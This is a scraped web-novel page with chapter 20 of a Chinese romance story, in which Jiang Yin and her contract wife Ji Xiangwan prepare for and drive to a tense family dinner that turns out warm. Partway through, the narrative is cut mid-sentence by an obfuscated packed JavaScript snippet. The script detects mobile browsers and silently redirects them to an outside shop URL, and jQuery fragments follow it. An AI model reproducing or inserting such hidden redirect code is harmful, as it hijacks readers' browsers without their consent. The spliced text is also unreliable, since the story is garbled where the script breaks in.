默认冷灰
24号文字
方正启体

20. 回家

作者:鸦却本书字数:K更新时间:
    周六清晨,阳光透过窗帘缝隙,毫无眼力见地在地板上投下一道刺眼的金线。


    对于江吟而言,这道光就像是倒计时的信号灯——预示着“死期”将至。


    她是被那个荒谬的噩梦惊醒的。


    梦里,那个素未谋面的“变态老女人”看不清脸,手里挥舞着那天被驳回的申请书,阴恻恻地说:“江吟,只要你乖乖嫁给我,我就给你买一万台恒温箱……”


    “我不嫁!死都不嫁!”


    江吟猛地弹坐起来,额头上沁着一层薄汗,心脏狂跳。


    她喘着气环顾四周。


    冷色调的高级灰墙面,空气中淡淡的雪松味,身边空了一半的床铺。


    很好,她还在纪向晚家。


    刚刚只是做梦。


    江吟脱力般倒回枕头里,脑海里自动浮现出大姐在电话里的死命令——“周六晚上,回家吃饭”。


    这哪里是吃饭,分明是上断头台。


    江吟悲愤地看了一眼时间。


    早上八点。


    距离她上刑场还有十个小时。


    “不行,不能坐以待毙。”她一骨碌爬起来,眼神逐渐决绝,“既然躲不过,那就得死得体面点!输人不输阵!”


    ……


    二十分钟后,衣帽间。


    这里原本挂满了纪向晚深沉的黑灰西装,如今左边的区域却被色彩鲜艳的裙子和当季新款包包强行占领。


    此时,江吟正站在镜子前,对着一堆衣服发愁。


    “粉色不行,太嫩了,穿回去肯定会被大姐觉得我还在装乖,气势上就输了。”


    她把那件粉色外套扔到一边。


    “黑色也不行,太沉闷。万一那个老女人也在场,肯定觉得我好欺负。”


    一条小黑裙遭遇了同样的命运。


    “还有这个……”江吟拎着一件白色礼服裙,“太露了,得捂严实点,不能让那个变态起色心。”


    纪向晚端着咖啡靠在门口,看了足足五分钟的热闹,终于忍不住轻笑出声。


    “江博士,你这是去吃饭,还是去选秀?”


    她走进去,将热拿铁递给江吟,顺手捡起地上的丝巾,“这已经是你第三次试这件红裙子了。”


    “你懂什么!”江吟灌了一口咖啡壮胆。


    “这哪儿是去吃饭,这是去谈判!要是从气势上先输了,我就完蛋了。”


    她放下杯子,一把抓住纪向晚的手臂:“纪向晚,你帮我参谋参谋!我要穿那种……既能体现我过得很好、很有钱,又能让那个老女人觉得我不并不好惹的衣服!”


    纪向晚挑眉:“既要有钱,又要有刺?”


    她目光扫过江吟明艳的脸,略作思索,越过那堆花花绿绿的裙子,从柜子深处挑出一套剪裁锋利的酒红色丝绒西装,搭配一条黑色真丝裙。


    “红色显气色,丝绒显贵气。”


    纪向晚将外套在江吟身上比划了一下,镜片后的眸子里闪过一丝不易察觉的惊艳:“而且这件衣服的垫肩设计很有攻击性,很符合你的要求。”


    江吟眼睛一亮。


    酒红与黑色的搭配,确实有一种“老娘不好惹”的气场。


    “有眼光啊纪总!”江吟赞许地拍了拍她的肩膀,“就这套了!”


    她拿着衣服钻进更衣间,隔着门板大声叮嘱:“你也去换衣服!把你那套最贵的西装找出来!今天你不仅仅是我的司机,更是我的门面!你要让她们看看,我现在的‘妻子’是多么年轻貌美多金!”


    门外的纪向晚整理领带的手微微一顿。


    年轻、貌美、多金?


    这些词从江吟嘴里说出来,用来形容她,怎么听怎么顺耳。


    纪向晚嘴角微弯,声音低的只有自己听得见:“遵命,老婆大人。”


    ……


    下午四点。


    江吟坐在化妆镜前,正如临大敌地进行最后的“备战”。


    她手里拿着眼线笔,眼尾的线条被她拉得细长上挑,利落得像一把锋利的小刀,透着一股凌厉的媚意。


    口红选的是最正的复古红,厚涂,气场全开。


    “怎么样?”


    江吟转过身,冲着纪向晚扬了扬下巴,“这妆够不够凶?能不能把人吓退?”


    纪向晚放下平板看去。


    眼前的江吟,穿着酒红色西装,大波浪长发披散。


    精致的妆容将她的美貌放大了十倍,像一朵带刺的红玫瑰,危险又迷人。


    凶吗?一点也不。


    反而美得让人想把那层带刺的外壳剥开。


    “很凶。”纪向晚喉结微动,声音微沉,“像只会吃人的妖精。”


    “这就对了!”


    江吟满意地点头,拿起香水在手腕和耳后喷了几下。


    浓烈的木质玫瑰调,带着一股侵略性。


    “一切准备就绪。”


    江吟深吸一口气,站起身,紧紧攥着那个限量款包包——那是她的武器库,里面装着手机、录音笔,甚至还有……一瓶防狼喷雾。


    “走吧,我们出发!”


    ……


    去往江家老宅的路,越开越安静。


    从市区驶入梧桐掩映的半山别墅区,风景越熟悉,江吟那股气势泄得越快。


    车里很安静。


    江吟缩在副驾驶,手指死死绞着安全带,嘴里念念有词。


    “第一千零四十二条,禁止干涉婚姻自由……”


    “第一千零四十六条,结婚应当双方完全自愿……”


    她在背法条。


    纪向晚无奈地叹了口气,伸出一只手,覆盖在江吟冰凉的手背上。


    “别背了。”她的声音沉稳有力,“你是去吃饭,不是去上法庭。”


    “你不懂!”


    江吟反手抓住她的手,指甲几乎掐进肉里,“这就是上法庭!万一那个老女人真的在,万一我爸妈为了公司把我卖了……”


    她越说越慌,眼眶有些红了。


    “纪向晚,我们可是一条绳上的蚂蚱。我要是被抓去联姻了,你的五百万就打水漂了!而且你就成了……成了二婚头的老婆了!”


    纪向晚嘴角抽了抽。


    “放心。”她稍微用力回握住江吟的手,“只要我不松口,没人能把你带走。”


    “真的?”


    江吟可怜兮兮地看着她,“那你一定要保护我。如果到时候打起来,你负责抱住大姐,我负责跑路。实在不行……实在不行你就说我怀了你的孩子!”


    “吱——!”


    车身猛地晃了一下。


    纪向晚稳住方向盘,侧头看向江吟,眼神复杂:


    “江吟,这种谎话……真的会有人信吗?”


    纪向晚一言难尽的看着江吟。


    “管他呢!先活过今晚再说!”江吟破罐子破摔。


    纪向晚看着她那一脸视死如归的表情,突然觉得有点心酸。


    江吟在害怕。


    不是怕那个虚构


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123144|195993||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的老女人,而是怕被抛弃。


    那个曾经骄傲的江二小姐,在离开江家后,安全感早就碎了一地。


    纪向晚把车缓缓停在路边。


    “怎么停了?”江吟紧张地问。


    纪向晚解开安全带,侧过身,认真地看着她的眼睛。


    “江吟,看着我。”


    她抬手,轻轻抚平江吟眉心的褶皱。


    “你不是筹码,也不是货物。”纪向晚一字一顿地说,“你有我,我是纪向晚,是你的合法配偶。”


    “在S市,如果我要护一个人,谁也动不了她。”


    “所以,挺直腰杆。”


    纪向晚帮她理了理西装领口,“你是带着五百万赞助、带着豪门太太的身份回去的。该怕的是她们,不是你。”


    江吟的心脏漏跳了一拍。


    那种从心底涌上来的安全感,比任何时候都要强烈。


    她看着纪向晚,突然觉得这个“死对头”好像也没那么讨厌。


    “知、知道了。”


    江吟不自在地别过脸,耳根悄悄红了,“啰嗦……开车啦!迟到了大姐又要骂人。”


    虽然嘴上嫌弃,但那只被握着的手,却没有抽回来。


    ……


    十分钟后。


    江家那扇沉重的大铁门缓缓打开。


    车子停稳。


    江吟看着那栋熟悉的别墅,门口台阶上空空荡荡,并没有人出来迎接。


    “看吧!”


    江吟的被迫害妄想症瞬间发作,紧张地抓着纪向晚的袖子,“肯定是个下马威!里面肯定埋伏了保镖!只要我一进去,就会被摁住签字画押!”


    纪向晚无奈扶额,下车绕到副驾驶,绅士地拉开车门。


    “请吧。”


    江吟深吸一口气,重新挂上那副“老娘很高贵”的面具,搭着纪向晚的手下了车。


    她挽着纪向晚的手臂,大半个身子的重量都倚靠在对方身上。


    “走。”江吟咬牙切齿地低声道,“纪向晚,如果有危险,立刻带我撤退!”


    纪向晚低头看了她一眼,笑意从容。


    “放心,有我在,这只是顿普通的晚饭。”


    两人走到雕花大门前。


    还没等江吟做好心理建设按门铃,大门突然从里面拉开了。


    暖黄色的灯光倾泻而出,伴随着一股极其浓郁、霸道的——糖醋排骨的香味。


    “哎呀!吟吟回来了!”


    江母系着围裙,手里拿着锅铲,满脸惊喜地站在门口,眼角有些红,像是刚哭过。


    在她身后,平日严肃的江父正局促地搓着手。


    甚至连大姐江澜,此刻正端着一盘水果站在玄关,神情别扭。


    “……”


    江吟僵在门口。


    这场面……好像跟她想的不太一样?


    “愣着干什么?”


    江澜率先开口,挑剔的目光在江吟身上转了一圈,最后落在她挽着纪向晚的手上,冷哼一声:“还不进来?要我请你?”


    “哦……来了。”


    江吟有些发懵地走进家里,只是在沙发坐下的时候,她下意识抓紧了纪向晚的手臂。


    像是溺水的人抓住了最后一根稻草。


    她不敢确认,眼前这温馨的场面,究竟是真实的,还是一戳就破的泡沫。


    纪向晚安抚的拍了拍,在她耳边低语,声音带着一丝戏谑:


    “看来不是你想的鸿门宴。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)